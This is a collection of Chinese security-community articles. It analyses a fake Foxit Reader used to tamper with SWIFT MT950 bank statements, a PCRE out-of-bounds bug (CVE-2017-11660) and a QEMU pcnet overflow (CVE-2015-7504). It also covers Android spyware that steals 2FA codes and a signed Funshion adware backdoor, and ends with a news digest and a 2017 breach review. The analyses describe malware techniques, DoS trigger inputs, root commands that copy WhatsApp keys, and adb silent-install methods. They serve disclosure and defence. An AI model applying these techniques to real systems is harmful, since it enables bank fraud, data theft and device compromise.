Reader.exe,在银行系统调用Foxit打印pdf时激活,将pdf转换为xml,根据配置文件匹配是否有符合要求的报文,找到匹配的报文修改后转换回pdf并调用原始的FoxitReader打印。并删除临时文件和数据库的符合条件的交易记录。
图 2 关系图
图 3 配置文件格式
3\. 案例:MT950对帐单(PDF)详解
图 18 MT950对帐单(PDF)
上图是MT950对帐单的PDF版本,图中就对帐单的关键报文域进行了对应的解释(黑体字所示),另外蓝色框是Fake PDF
Reader恶意程序需要判断和修改的地方(蓝色字体是相关具体动作的说明)。
下图是正常的PDF对帐单和篡改后的PDF对帐单,其中左图红色底色部分内容,就是攻击者想要删掉帐单记录和需要修改的帐面余额和有效余额。
图 19 正常PDF对帐单(左图),篡改后的PDF对帐单(右图)
4\. 技术细节
Fake PDF Reader分析
图 4 功能流程图
Fake PDF Reader程序来自于Foxit PDF SDK,依赖动态库fpdfsdk.dll。
A、读取配置文件
配置文件使用异或加密,KEY为7C4D5978h。路径为 c:windowstempWRTULMutilps32.dat。
图 5 读取配置文件
B、处理参数
参数个数必须大于等于4个,应该为:“FoxitReader路径”、“/t”、“pdf路径”和“打印机ip”。
C、PDF修改
图 6 PDF修改执行流程
* PDF转XML:以参数-xml调用了pdf2html库,转换成xml,文件放在临时目录。
图 7 PDF转XML
* * 读取xml文件:查找Instance Type and Transmission所在的行,跳过9行,匹配SWIFT消息类型字符串,有FIN 950则进入950消息处理,没有则进入非950消息处理。
* 950消息处理:匹配Sender字段,查找发报方的SWIFT Code,匹配是否在列表中。符合条件则定位Opening Balance行,并跳过9行,读取Amount数值,转换为Int64。继续跳过2行,匹配是否为Debit,循环读取Opening Balance的所有交易和配置文件中的字符串比较,符合则设置删除标记并对数据做累加操作,继续读取Closing Balance节中的Amount字段,转换为Int64。根据前面累加的数据和此数据对比,平帐后写入数据并设置Debit/Credit标记。完成修改后,新添加1页,重新添加所有行,并删除前面的1页。
* * 图 8 恶意代码内部预设的SWIFT COD
* * 表 4 恶意代码内部预设的SWIFT CODE对应的具体银行名称
* * 非950消息处理:从Sender行开始读取,和配置文件匹配,成功后删除整页。
* 修复xml中的行的坐标,修复指定行的字体,并修正Closing Avail Bal (Avail Funds)的值。
* 删除临时文件。
*
图 9 删除临时文件
* XML转PDF。
D、使用原参数调用真正的FoxitReader.exe
图 10 调用真正的FoxitReader
E、失败则调用LogClear
图 11 调用LogClear
F、最后删除临时文件
LogClear分析
图 12 功能流程图
根据传入参数个数进行相关初始化操作,如果有进行初始化操作,如果没有参数则直接开始执行清除操作;
命令参数格式:'-f <message filename> -l <logfile path>'
图 13 相关参数格式
进一步进行循环删除文件中记录的内容,根据参数格式化一个文件名称,进行删除消息文件相关记录操作。
文件名格式:%s\%s_%d%.2d%.2d.txt,第一个%s是从配置文件中读取的路径,第二个%s的字符串内容如下,后面的%d依次表示年、月、日。
图 14 读取的相关内容
最后通过sqlcmd.exe 执行数据库操作删除数据库中消息文件相关记录.
图 15 清理错误日志1
图 16 清理错误日志2
图 17 清理graft_history
同源性分析
在本报告中主要就越南先锋银行相关攻击事件、样本展开深入分析,暂不就其他攻击
事件中的同源样本展开详细介绍,本节只简单证明二者之间的存在一定的联系。
关于越南先锋银行、孟加拉国央行和Lazarus组织之间的关系,我们在之后的关联分析报告中会有详细的介绍。
**0x03 总结**
从将恶意程序构造伪装成Foxit
reader(福昕PDF阅读器)到对MT950对帐单PDF文件的解析和精确的篡改等攻击手法,都反映出攻击者对银行内部交易系统和作业流程非常熟悉。
针对越南先锋银行的针对性攻击和之前针对孟加拉国央行等其他银行的攻击之间,并非独立无关的攻击事件,从360追日团队对相关样本同源性分析和其他厂商的研究分析来看,针对越南先锋银行和孟加拉国央行的攻击有可能来自同一个组织,其幕后组织有可能是Operation
Blockbuster所揭秘披露的Lazarus组织。 | 社区文章 |
# 【技术分享】正则表达式基础库源码审计与漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：mp.weixin.qq.com
原文地址：<https://mp.weixin.qq.com/s/YEBFfmF3CMIfshI5ybI2FA>
译文仅供参考，具体内容表达以及含义原文为准。
**作者：柳本金@**[
**360代码卫士**](http://bobao.360.cn/member/contribute?uid=2873043487)
**前言**
“正则表达式是字符串处理的基本功能，它使用单个字符串来描述、匹配一系列符合某个句法规则的字符串，绝大部分语言库都提供了正则表达式的功能，例如：perl、python、tcl、php、glibc、uclibc、php等等，并且一般使用开源的正则表达式基础库来实现其功能，例如：glibc就使用了GRegex来提供正则表达式功能，而glibc是GNU发布的C运行库，是Linux系统中最底层的API，几乎其它任何应用库都会依赖于glibc。所以，如果正则表达式基础库包含漏洞，则会影响到上层的各种软件，风险隐患极大。”
最近，360代码卫士团队对常见的正则表达式基础库进行了源码审计和漏洞挖掘，发现了10余个漏洞，均提交至CVE以及国家信息安全漏洞库，目前已获得CVE编号的漏洞有5个，具体如下：
其中，PCRE库在Apache、MySQL、PHP、KDE、Postfix、Analog、Nmap、Apple
Safari、Nginx等基础框架或组件中均有使用；GRegex库由Isamu Hasegawak开发，在glibc、uclibc等标准库中有所使用。
本文以PCRE库为例，简述源码审计和漏洞挖掘的过程，并深入分析CVE-2017-11660的原理，说明不当的底层基础库源码处理对上层应用软件的影响和危害，进而说明基础库软件源代码安全的重要性。
**源码审计与漏洞挖掘**
PCRE库的源代码基本信息如下：
使用360代码卫士扫描后，结果统计如下：
总体而言，PCRE的代码质量还是挺高的。各缺陷详细信息及分类如下：
表中的越界访问漏洞就是 **CVE-2017-11660**
，主要触发原因是代码中没有对循环边界进行正确检查，导致越界访问了分配的内存。其主要相关代码如下：
for (;;)
{
RMATCH(eptr, ecode, offset_top, md, eptrb, RM18);
if (rrc != MATCH_NOMATCH) RRETURN(rrc);
if (eptr-- == pp) break; /* Stop if tried at original pos */
BACKCHAR(eptr);
}
其中的宏定义：
#define BACKCHAR(eptr) while((*eptr & 0xc0) == 0x80) eptr--
在这个循环中有个判断条件退出，当“ **eptr– == pp**
”的时候就会退出，但是后面的宏“BACKCHAR(eptr)”会对eptr做递减，当递减至“eptr<pp”时，则这个判断不再成立，导致访问分配给eptr之前的内存数据。
内存溢出是代码缺陷运行的结果。造成此缺陷，从代码层面讲，直接的原因是循环退出条件判断不当。上述代码中，对循环“for(;;)”的退出，通过条件“if
(eptr– == pp)”进行判断，如果eptr在循环开始时，其值已经小于pp，那么，该循环将无法有效终止。此类相似情况可能出现的判断条件为：
对获取的break等可以有效退出循环的语句进行判断，判断是否在循环体中；
判断执行该break，是否依赖于绝对相等（“==”）这样的条件；
分析等值判断的左右值，是否为可被污染的值；
分析循环体是否有“死循环”的可能（如 **“for(;;) { … }、while(true){ … }”** 等）。
上述代码中，缺陷如下图所示：
在上述for循环中，缺少每次进入循环的有效判断，创造了死循环的可能性；if语句判断条件为等值判断，只有在左右两值相等的情况下，才能触发执行语句；等值判断的左右值，存在被污染的可能性。这样，if等值条件可能无法被满足，循环退出语句break无法被执行，因此进入死循环。检测流程示意图如下：
进行检测时，界面显示效果如下：
分析发现，这段代码是PCRE中“match”函数处理“OP_NCLASS”、“OP_CLASS”操作码的代码，并且这段代码在其它地方也出现了，对应着“OP_XCLASS”操作码。
**漏洞验证分析**
正则表达式包括查找符合某些复杂规则的字符串的描述规则，这些规则有通用的标准，涉及到上述漏洞的元字符包括：
根据代码审计的分析结果，我们构造了一个精简触发的验证POC：
此POC编译后运行，程序崩溃：
POC的实现从
subjectmp的内存往前搜索字符串“AABB”，直到匹配到“AABB”的内存内容或者是访问了内存边界从而导致段访问错误。gdb中调试信息如下：
从调试信息中，我们可以看到subject的地址为0xbfffafc7：
正是提供的搜索内容“ **xddx88x42x41** ”。pp 和 eptr 的值为：
pp的值正是subject+1，为正常的值，而eptr远远小于pp，且达到了内存边界，从而导致了内存访问异常。
**漏洞利用与危害分析**
在上述POC中往内存前搜索字符串“AABB”，当然也可以搜索其它字符串，这样会引发严重的信息泄露。PHP使用了PCRE正则表达式库，因此我们尝试在PHP中对此漏洞进行利用和危害分析，确认PCRE的这个漏洞是否影响到PHP。下载PHP最新版7.2.0，并编译，构造PHP的精简POC如下：
其中，preg_match函数的功能就是执行匹配正则表达式，其底层实现采用了PCRE。PHP 7.2.0使用了PCRE
4.1。分析发现，PHP对PCRE中的函数进行封装调用，且对结果值做了检测。相关代码在 **ext/pcre/php_prce.c** 文件中的
**php_pcre_match_impl** 内：
if ((offsets[1] - offsets[0] < 0) || pcre_get_substring_list(subject, offsets, count, &stringlist) < 0) {
efree(subpat_names);
efree(offsets);
if (match_sets) efree(match_sets);
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Get subpatterns list failed");
RETURN_FALSE;
}
“offsets[1] –
offsets[0]<0”对返回的结果进行了检测，当漏洞触发后，返回的结果中offsets[1]是负数，所以条件成立，然后就返回了RETURN_FALSE。
所以，虽然此漏洞存在于PCRE中，但由于PHP对PCRE中的函数进行了封装调用，并对结果值做了检测，因此PHP并不受CVE-2017-11660这个漏洞的影响。但本次源码审计和漏洞挖掘发现的另外一个PCRE的漏洞CVE-2017-11164，就确认影响到了PHP，可以在PHP中造成拒绝服务。
即可造成：
CVE-2017-11164漏洞影响到PHP的库函数preg_match，因此基于PHP的各种web应用如果使用了pcre_match这个库函数则也会受到影响，存在被拒绝服务攻击的风险。比如，web应用中使用preg_match来实现搜索功能，那么攻击者在搜索的原始内容中插入“
**x6Cx6FxE5xA2x80x2D** ”内容，然后在匹配的时候使用特殊构造的字符即可拒绝服务攻击。 | 社区文章 |
# 360MarvelTeam虚拟化漏洞第三弹 - CVE-2015-7504 漏洞分析（含高清视频）
|
##### 译文声明
本文是翻译文章，文章来源：360MarvelTeam
译文仅供参考，具体内容表达以及含义原文为准。
**作者:360 Marvel Team 团队负责人 唐青昊 (新浪微博:SunSky0101)**
**前言:**
相信最近amazon,阿里云等云供应商都已经收到了xen官方的漏洞通知邮件([http://lists.xen.org/archives/html/xen-devel/2015-11/msg03351.html](http://lists.xen.org/archives/html/xen-devel/2015-11/msg03351.html) 或者 [http://seclists.org/oss-sec/2015/q4/405](http://seclists.org/oss-sec/2015/q4/405)
),在这封邮件中,官方声明MarvelTeam发现并报告了这枚高危漏洞。今天的主角就是这枚编号CVE-2015-7504的,一枚同时影响kvm和xen平台的高危虚拟化安全漏洞。
2015是云计算虚拟化安全问题爆发的元年,继毒液漏洞肆虐全球之后,360 Marvel
Team又不断在kvm,xen,vmware平台上发现了众多高危安全漏洞,这些漏洞会导致各种 **云系统被黑客攻破**
。目前云系统上存放着大量用户的个人隐私信息,企业数据库信息,以及政府的敏感信息,一旦云被攻破,就意味着这些重要的信息就会被泄露。而本文所介绍的这枚漏洞,就具备这样的危害性,
**黑客利用这个漏洞不但可以偷取到重要信息,甚至可以从一台虚拟机的普通用户发起攻击控制宿主机,最终控制整个云环境的所有用户。因此,对该漏洞的深入分析非常必要**
。
360 Marvel Team虚拟化漏洞系列文章,是针对 **团队独立发现的** 虚拟化软件的, **高危0day漏洞**
的分析文章,希望以此揭开虚拟化攻击技术的神秘面纱。在刚刚过去的日本东京太平洋安全大会(PACSEC)中,360 Marvel
Team安全研究员唐青昊,进行了关于《虚拟化系统漏洞挖掘技术》议题的演讲,在该议题中分享了漏洞挖掘的核心技术。
360 Marvel
Team团队结合在漏洞挖掘和利用过程中的相关经验,针对云计算平台提供防御解决方案,防御虚拟化平台的安全威胁,该解决方案将持续保证360云的安全。
本文为该系列的第三篇文章,将详细分析团队在9月22日提交的CVE-2015-7504 qemu
pcnet网卡缓冲区溢出漏洞的相关知识。与之前我们披露的漏洞不同,该漏洞溢出的位置非常精妙,可以轻易使黑客控制代码流程,是一枚上等的安全漏洞。另外,我们也吐槽下qemu官方的处理效率,该漏洞从提交到正式公开,经历了2个月零7天。如此高危的漏洞在这段漫长时间内被黑客用于云计算系统的攻击几率都是很大的!
关于之前的两篇文章,链接如下:
[http://www.freebuf.com/vuls/77834.html](http://www.freebuf.com/vuls/77834.html)
[http://blogs.360.cn/blog/360marvelteam虚拟化漏洞第二弹-cve-2015-5279-漏洞分析/](http://blogs.360.cn/blog/360marvelteam%E8%99%9A%E6%8B%9F%E5%8C%96%E6%BC%8F%E6%B4%9E%E7%AC%AC%E4%BA%8C%E5%BC%B9-cve-2015-5279-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/)
[
](http://blogs.360.cn/blog/360marvelteam%E8%99%9A%E6%8B%9F%E5%8C%96%E6%BC%8F%E6%B4%9E%E7%AC%AC%E4%BA%8C%E5%BC%B9-cve-2015-5279-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/)
**一. 什么是pcnet**
QEMU软件中,实现了对大量网卡的模拟,如pcnet,rtl8139,ne2000,eepro100,e1000等,通过组件满足虚拟机用户对各种网卡的需求。网卡相关的漏洞也发现了很多,如之前我们发现的e1000网卡的漏洞,就是在数据报接收过程中出现的代码问题引起的。
pcnet是虚拟化软件QEMU中实现AMD PCNET网卡功能模拟的组件,相关的代码实现位于/hw/net/pcnet.c中。
在qemu软件中使用pcnet网卡,需要如下的命令行进行配置:
qemu-system-x86_64 centos-6.5-x64.img -m 1024 – net nic,model=pcnet -net user
**二.漏洞原理分析**
了解了pcnet的基础知识,再来聊聊CVE-2015-7504漏洞原理。我们前面已经说到,该漏洞利用时可以直接控制代码执行路径,那么它是怎么做到的呢?
首先我们来看漏洞触发过程,该漏洞发生在pcnet网卡模块的接收数据包的过程中,相关函数pcnet_receive的执行逻辑:首先检测CSR_DRX(s),CSR_STOP(s),CSR_SPND(s),size,CSR_LOOP(s),s->looptest这些值是否符合边界要求,确定函数是否继续处理。并且如果buf太小,则把它扩充到MIN_BUF_SIZE,之后检测是否要接受此包。最终把数据拷到rmd中物理地址中。相关代码截图如下:
图1. 有缺陷的代码
在上述代码中,我们可以看到,在实现数据包buffer操作的逻辑时,程序员出现了一个明显的错误:未判断数据包的长度是否已经等于buffer长度。另外,在pcnet.c的另一个函数pcnet_transmit中也有对缓冲区位置和数据包长度的处理,截图如下:
图2. pcnet_transmit函数中进行缓冲区相关的处理
如果数据包长度临近缓冲区长度(4096)时,由于代码逻辑会自动添加4个字节的crc值,因此就会发生缓冲区溢出。
巧合的是溢出了buffer之后的四个字节恰好会覆盖一个结构体指针。如图所示:
图3.buffer所在的结构体
图4.qemu_irq的结构体
在溢出发生之后,代码流程进入pcnet_update_irq函数中,该函数经过层层调用,最终使用了irq->handler作为函数指针!!!而该irq的结构体指针我们可以对其进行控制,因此就完成了对代码逻辑的劫持。
图5. pcnet_update_irq的代码逻辑
**三.漏洞危害 &漏洞利用演示**
CVE-2015-7504被xen和qemu社区官方安全团队定义为高危漏洞,一旦被黑客恶意利用,可以实现 **虚拟机逃逸**
攻击。在成功利用该漏洞发动攻击之后,黑客进而可以控制宿主机执行任意指令,后果十分可怕。
图6. xen官方对该漏洞内容和危害的描述
Marvel Team在演示环境中(64位centos
系统)完成了对该漏洞的完美利用。在该视频中,黑客通过虚拟机漏洞实现代理功能,控制虚拟机所在宿主机,并且在宿主机中执行任意指令。
(观看视频时,请注意“被攻击的宿主机”和“黑客主机”两个标签页之间的切换。另外视频演示的攻击方式,绕过了目前大部分针对宿主机和虚拟机的防护手段,可谓是相当残暴。)
视频连接地址如下:
**http://yunpan.cn/c3wGdEInx7LMC 访问密码 5299**
**四.漏洞修复方案**
xen官方在MarvelTeam的帮助下提供了对该漏洞的修复补丁,截图如下:
图7. 官方公布的补丁信息
在该补丁文件中,对pcnet_receive和pcnet_transmit两个函数的缓冲区处理都进行了修正,完美修复了之前存在的漏洞。
** 小结:**针对360 Marvel
Team独立发现的虚拟化安全漏洞CVE-2015-7504,本文完整分析了漏洞相关的原理,危害,以及修复方案。在漏洞利用视频中,Marvel
Team演示了黑客控制宿主机的全过程。希望此文可以引起更多云服务供应商,对虚拟化安全问题的重视。
**关于360 Marvel Team:**
360 Marvel
Team是国内首支虚拟化安全研究团队,研究内容为云安全领域的虚拟化平台攻防技术,致力于保持领先的脆弱性安全风险发现和防护能力,针对主流虚拟化平台提供漏洞检测和系统加固解决方案。 | 社区文章 |
# 针对伊朗长达6年的网络间谍活动披露
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**概述：**
网络安全公司CheckPointResearch揭露了一场长达六年之久的针对伊朗侨民和持不同政见者的监视行动。据称，策划这场监视活动的攻击者来自伊朗，攻击者利用多种攻击手段监视受害者行为，其中包含针对个人计算机和移动设备的恶意软件。
## 攻击媒介：
1. Windows信息窃取程序拥有四种变体，旨在窃取受害者的个人文档以及访问其Telegram和KeePass帐户信息。
2. Android后门旨在从SMS消息中提取双因子验证码（sms验证码）并转发至攻击者手机以窃取用户设备Google账户信息以及对受害者设备环境进行录音。
3. 使用伪造的Telegram服务帐户分发Telegram网络钓鱼页面。
## 攻击目标：
1. 阿什拉夫营和自由居民家庭协会（AFALR）
2. 阿塞拜疆民族抵抗组织等抵抗运动
3. 俾路支省的公民。
暗影安全实验室通过对该监视活动中的移动恶意软件进行分析来对此次间谍活动做一次简要阐述。
## 1\. 程序运行流程图
该应用程序安装启动后首先加载Google页面并通过JavascriptInterface接口获取用户输入的账户密码。接着请求敏感权限，将自身加入电池白名单对进程保活并请求超级用户权限以对Whatsapp的密钥文件进行复制转移。最后在主服务中每两秒启动一次线程，并在线程内开启多任务线程以获取用户设备敏感数据，获取的用户数据加密保存至本地文件之后上传至FTP服务器，该攻击者最主要目的就是获取Google及其他社交软件发送的短信验证码并将验证码转发至自己控制的手机。
**图1-1 程序运行流程图**
## 2\. 行为分析
**移动端恶意程序通过伪装成一种以帮助瑞典的波斯语使用者获得驾驶证的服务应用诱导用户安装使用。该应用程序有两种变体，一个似乎是为了测试目的而编译的，另一个是能目标设备上部署的发行版。**
**图2-1-恶意应用界面**
### **2.1 恶意行为**
1. 窃取用户设备收件箱、发件箱、草稿箱短信息。
2. 将双因子验证码以SMS消息形式转发到由攻击者控制电话号码。
3. 窃取用户设备联系人、软件账户信息。
4. 窃取用户设备已安装的应用程序和正在运行的进程信息。
5. 通过网络钓鱼窃取用户Google账户信息。
6. 对用户设备环境进行录音。
**2.1.1 Google凭据盗窃**
（1）恶意软件安装启动后主动加载Google账户登录页面。
**图2-2 加载的Google登录界面**
以下为恶意程序加载页面的配置列表，其中只加载了Google页面，其他页面URL可能会在更新版本的代码中使用：
**图2-4目标应用列表**
系统会在Android的WebView中向用户显示一个合法的登录页面。为了窃取输入的凭据，使用了Android的JavascriptInterface接口，以及一个计时器，该计时器每秒定期从用户输入的账号和密码文本框中中检索信息。
**图2-5 加载JS代码检索用户输入信息**
通过JS调用Android代码以获取用户输入的账户密码信息：
**图2-6 调用android代码获取账户密码**
**2.1.2 服务器通信**
该恶意软件使用常规HTTP与服务器通信，它将初始请求发送到alar**iye.net，通过FTP上传保存了用户已加密隐私数据的文件。并与服务器gradl***rvice.info通信以获取配置、状态的更新。
**图2-7 服务器通信**
代码中硬编码了FTP服务器的账户：APPUser202090P密码：2020FSOM$$0K9990@信息。
**图2-8 连接FTP服务器**
**图2-9 FTP服务器登录页面**
**服务器地址列表：**
**服务器地址** | | **功能** |
---|---|---|---
http://alar***ye.net/up/index.php?pname= | | 发送初始请求 |
http://grad***rvice.info | | 获取配置、状态的更新已经上传客户端状态信息 |
ftp://137.74.***.101/ | | FTP服务器上传保存用户隐私数据的文件 |
**2.1.3 隐私数据窃取**
该恶意软件与其他恶意软件不同，它并不是通过远程控制指令来执行窃取用户隐私数据的行为。而是通过开启异步任务AsyncTask去执行不同的窃取用户隐私数据的行为。该应用启动后会启动应用主服务MainService。在主服务中每两秒启动一个主线程，在该主线程中执行异步任务。
**图2-10 在线程内启动获取用户隐私数据的任务**
应用最开始会启动一个获取用户联系人信息的异步任务，并在该异步任务的onPostExecute中启动获取用户短信息的异步任务SmsTask。
**图2-11 启动获取短信息的异步任务**
通过对tag标志（一个字符串标志短信箱的类型，如收件箱、发件箱、草稿箱）的hash值对比，执行获取用户不同短信箱内容的操作：
**图2-12 获取用户收件箱、发件箱、草稿箱内容**
之后在SmsTask异步任务中通过对比Type字符串的Hash值分别启动获取用户已安装应用信息，获取用户账户信息，发送隐私数据至服务器的任务。
**图2-13 分别启动各项获取用户隐私数据的任务**
恶意程序会根据服务器返回的配置信息判断是否对用户设备开启录音：
**图2-14 开启录音功能**
**2.1.4 数据加密**
应用窃取用户隐私数据后会将用户数据加密写入本地文件，之后便上传至FTP服务器。
**图2-15 保存隐私数据的本地文件**
数据采用了DES加密算法：
**图2-16 DES加密算法**
上传获取的所有用户信息，以文件名+文件内容的形式上传：
**图2-17 上传用户隐私数据**
**2.1.5 超级用户权限**
该应用安装启动后会请求加入电池白名单并申请超级用户权限，以使用shell命令对用户文件进行复制转移。
**图2-18 请求超级用户权限**
将应用进程加入白名单，以保护应用进程不被系统杀死：
**图2-19 将应用加入电池白名单**
执行shell指令获取root权限：
**图2-20 执行shell命令获取root权限**
通过root权限将/data/data/com.whatsapp/files/key文件复制到外部存储目录，/data/data/com.whatsapp/files/key文件目录下保存了Whatapp的加密密钥，该密钥可用于解密Whatsapp数据库。
**图2-21 复制Whatapp加密密钥文件至外部存储目录**
**2.1.6 SMS双因子验证码**
该恶意程序最主要的功能就是获取用户短信验证码，并将该验证码转发至攻击者指定的号码。通过注册短信接受广播，应用程序能监听用户设备所有接受的短信，过滤短信来自Telegram、Whatsapp、facebook和其他社交网络应用程序传入SMS消息并过滤短信内容为“G-”（Google的短信验证码）开头的短信内容。
**图2-22 过滤用户接受的短信内容**
将过滤出的短信内容进行转发，发送到攻击者控制的手机号码。在拥有了受害者Google账户及Google的短信验证码的情况下，攻击者就能登录受害者的Google账户。
**图2-22 将用户短信进行转发**
## 3\. 总结
从恶意程序特殊的攻击目标以及恶意操作对用户Google账户信息、社交软件账户信息的重视程度表明，攻击者主要目的是收集有关这些受害者的情报，以更多的了解他们的活动。
由此猜测这可能是一场有组织的政治的活动。
## 4\. 样本MD5
1. 4ae3654b7ed172b0273e7c7448b0c23c
2. ca154dfd01b578b84c0ec59af059fb62 | 社区文章 |
# 5月14日安全热点 - Electron新漏洞影响多款流行应用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞 Vulnerability
Doplphinsoft Panel 注入漏洞
<http://t.cn/R3MgVYz>
EMC RecoverPoint 4.3 CLI命令注入漏洞
<http://t.cn/R3MgVYn>
## 安全研究 Security Research
使用PDF捕获NTLM哈希
<http://t.cn/R3Mkvtz>
在Ring 0使用CVE-2018-8897任意执行代码
<http://t.cn/R3xvDgH>
使用暗网的威胁情报白皮书
<http://t.cn/R3Mkvcy>
TheDoc：一个简单但非常实用的SQLMAP自动化工具
<http://t.cn/R3MkvVU>
## 安全事件 Security Incident
勒索软件攻击抹去了警察和消防部门的数据
<http://t.cn/R3MgVjh>
## 恶意软件 Malware
Vega Stealer恶意软件窃取Chrome和Firefox中的密码和数据
<http://t.cn/R3MgVOL>
在Ubuntu Snap Store上存在包含Bytecoin加密货币矿工的恶意软件包
<http://t.cn/R3MgVWZ>
## 安全资讯 Security Information
Electron新漏洞影响多款流行应用
<http://t.cn/R3MgVC7>
重庆警方一季度破获通信网络违法犯罪案近四千起
<http://t.cn/R3MgVCN>
谷歌将强制厂商定期推送Android安全更新
<http://t.cn/R3MgVND>
IBM禁止全球所有员工使用可移动存储设备
<http://t.cn/R3MgVpK>
影响上百万台GPON路由器的漏洞正在被至少5个僵尸网络利用
<http://t.cn/R3MgV0f> | 社区文章 |
# 木马盗用“风行播放器签名”流氓推广
|
##### 译文声明
本文是翻译文章，文章来源：qxnjawk@360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**0x0 摘要**
最近,360安全中心检测到,大量推广程序在推广一款带有有效风行签名——“Beijing Funshion Online Technologies
Ltd.”的静默安装程序。后续分析发现,该程序静默安装,无法卸载,通过LSP注入系统各个联网进程执行。带有反虚拟机,反调试,抗分析,远程控制,远程执行的能力,是一款植入用户计算机的后门程序。
**0x1 FunMini文件分析**
基本信息:
MD5 : 64a34cc9a22fa93d0705920e4c3aed0c
文件名称 : FunMini.exe
文件类型 : PE,未加壳
签名信息 : Beijing Funshion Online Technologies Ltd.
签名正常 风行公司的推广程序
行为概述:
该样本运行之后,会对目标机器的环境进行检测:检测虚拟机,各种程序开发工具等。
如果不存在开发工具和虚拟机,就会下载一个后门dll程序加载执行,该dll还会进行手机app推广。
行为详解:
木马检查用户机器上是否存在IDA, vc6.0,
windbg.exe等分析人员常用的分析工具。这类检测在木马程序中很常见,正常面向大众的软件,很少做这类检测。
以下为木马检测的所有字符串的内存截图:
检测通过之后,后门从服务器下载一个名为Foamii.dll的文件,而该文件才是一切行为的核心。
**0x2 Foamii.dll文件分析**
基本信息:
名称 : Foamii.dll
MD5 : a8367b1199422f103da439678a1a3683
文件类型 : win32 PE,DLL
签名信息 : Beijing Funshion Online Technologies Ltd.
签名正常
行为详解:
木马首先调用WinExec函数启动rundll32.exe作为宿主进程,调用Foamii.dll的startup函数
运行后,dll会从服务器读取在线shellcode代码到本地
shellcode的远端地址竟然就堂而皇之的挂在风行官网上:
http://fld.funshion.com/instant/instant?bid=52
用浏览器打开该URL内容如下:
数据报文如下图:
而加载shellcode后,代码会向服务器发起访问,返回信息则是一个json串:
显然,json串中又为shellcode指明了一个新的下载地址,下载回来的则是一个名为Foamii.zip的压缩文件
当Foamii.dll将Foamii.zip下载回来之后,将其解压,并进一步释放了一个名为FunNail.dll的程序
**0x3 FunNail.dll文件分析**
文件信息:
文件名称 : FunNail.dll
MD5 : 042ace2a209f537bb9402a563894cf9e
签名信息 : Beijing Funshion Online Technologies Ltd.
行为概述:
该程序被运行后,首先会检测当前环境是否运行于虚拟机当中,同时删除PcHunter, smiff等常见分析工具。然后下载推广程序,进行推广。
行为详解:
木马调用IsProcessorFeaturePresent检测自身是否正处于调试环境中,由此判断自身是否正在被分析人员分析:
若并非处于调试环境中,则申请内存执行shellcode
之后,创建一个模态对话框,关键的工作函数就放在了窗体回调函数中:
工作函数中,首先是检测虚拟机情况,看自己是否运行于虚拟机之中:
而后,程序会对磁盘中的进行遍历
遍历文件过程中,一旦发现检测分析工具则立即删除:
删除PCHunter32.exe文件
删除smsniff.exe文件
另外,此处还有一个插曲:如果程序检测到当前正运行于Win7之后的系统,程序甚至还有专门用于绕过UAC防护的代码,考虑不可谓不周到。
一切准备工作停当之后,便下载了一套安卓手机的连接组件回来:
同时开启一个转么的线程,用来等待手机usb设备接入
一旦发现有安卓手机接入,则创建一个可读写的pipe管道,主要为adb fork-server 服务。
而后利用adb命令在手机端创建一个 adb fork-server server进程 ,用于通过adb连接继而到电脑的手机。
在手机中创建进程adb fork-server server成功之后,会读取手机端adb fork-server server的数据
并启动daemon 守护进程
同时下载一个或几个APK文件到本地:
现在要做的,就是找到SD卡或者手机内部存储的tmp路径,并将已经准备好的apk文件推送到手机当中:
最后,安装并启动安卓的daemon守护进程,拼接adb shell:install命令用来启动apk进行流氓推广
以上这一切,用户是完全没有任何感知的,能感知到的唯有在手机上的这一次又一次的不期而遇而已……
**0x4 总结**
360安全中心最早接到关于带有风行签名程序从PC端向安卓机强推安卓应用的问题,最早见于去年(2014年)12月中旬,当时就曾组织过技术力量对该族系推广进行过拦截。但在沉寂了9个多月之后,今年9月中旬,该族系又变换了更加犀利的反安全软件代码卷土重来。
目前360已对其推广做了拦截,并提醒用户及时清理,该后门安装量已经过数百万台,并且依然在不断的变种与我们进行对抗。
由衷希望厂商管理好自己产品,不要在这条路上越走越远才好。 | 社区文章 |
# 趋势科技回顾：2017年最严重的网络攻击事件及经验教训
|
##### 译文声明
本文是翻译文章，文章原作者 Trend Micro，文章来源：blog.trendmicro.com
原文地址：<https://blog.trendmicro.com/a-look-back-reviewing-the-worst-cyber-attacks-of-2017-and-the-lessons-learned/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在黑客入侵与网络攻击方面，似乎每一年都要比上一年面临着更多的挑战，2017年也不例外。
互联网社区在线可信联盟的主管Jeff Wilbur表示：“毫无疑问，2017年又是糟糕的一年，我们经历了全球化的数据泄露和全球化的网络安全事件。”
在2017年，总计发生了无数起数据泄露事件，恶意软件和勒索软件不断被投放在网络，并且每一个新的样本都比旧版本更加复杂和先进。考虑到利益所在，黑客将目标长期聚焦在业务环境和消费者人群。因此，各行各业都应该吸取这些攻击事件的经验教训，并将其作为未来之中的防护策略，这样才是最好的防范方式。
接下来，让我们共同回顾2017年发生的一些灾难性攻击和感染事件，并通过这些事例，找到可以吸取的经验和教训。
## Equifax信息泄露事件：主动披露，不要等待新闻的报导
在2017年，征信巨头Equifax数据泄露事件可以排到数据安全事件的第一名。这次泄露，影响人数众多，并且有高度敏感的数据被泄露。更为讽刺的是，发生信息泄露事件的Equifax是一家承诺帮助大家预防此类欺诈行为的企业。
根据美国有线新闻网的报道（ <http://money.cnn.com/2017/09/11/technology/equifax-identity-theft/index.html>
），攻击者攻破了Equifax系统，并从中窃取18.2万份敏感文件，其中包括客户的个人信息以及共计20.9万个信用卡号码。据统计，这次攻击事件涉及1.43亿美国公民的个人信息，他们的社会安全号码、出生日期、家庭地址等个人信息均包含在被窃取的文件之中。
这次攻击事件最可怕之处在于，黑客会以这些被窃取的身份信息为基础进行攻击或身份掩护。这些个人身份信息在地下黑市以打包的形式售卖，价格达到了30美元甚至更高。并且，随着大量的数据被窃取，攻击者可以基于此，对数百万合法身份造成威胁。
个人信息失窃资源中心（Identity Theft Resource Center）首席执行官Eva
Velasquez表示：“涉及到社会安全号码的数据泄露事件时常会发生，但这一次是有史以来规模最大的。这次事件非常严重，因为被窃取到的数据都是真实有效的。”
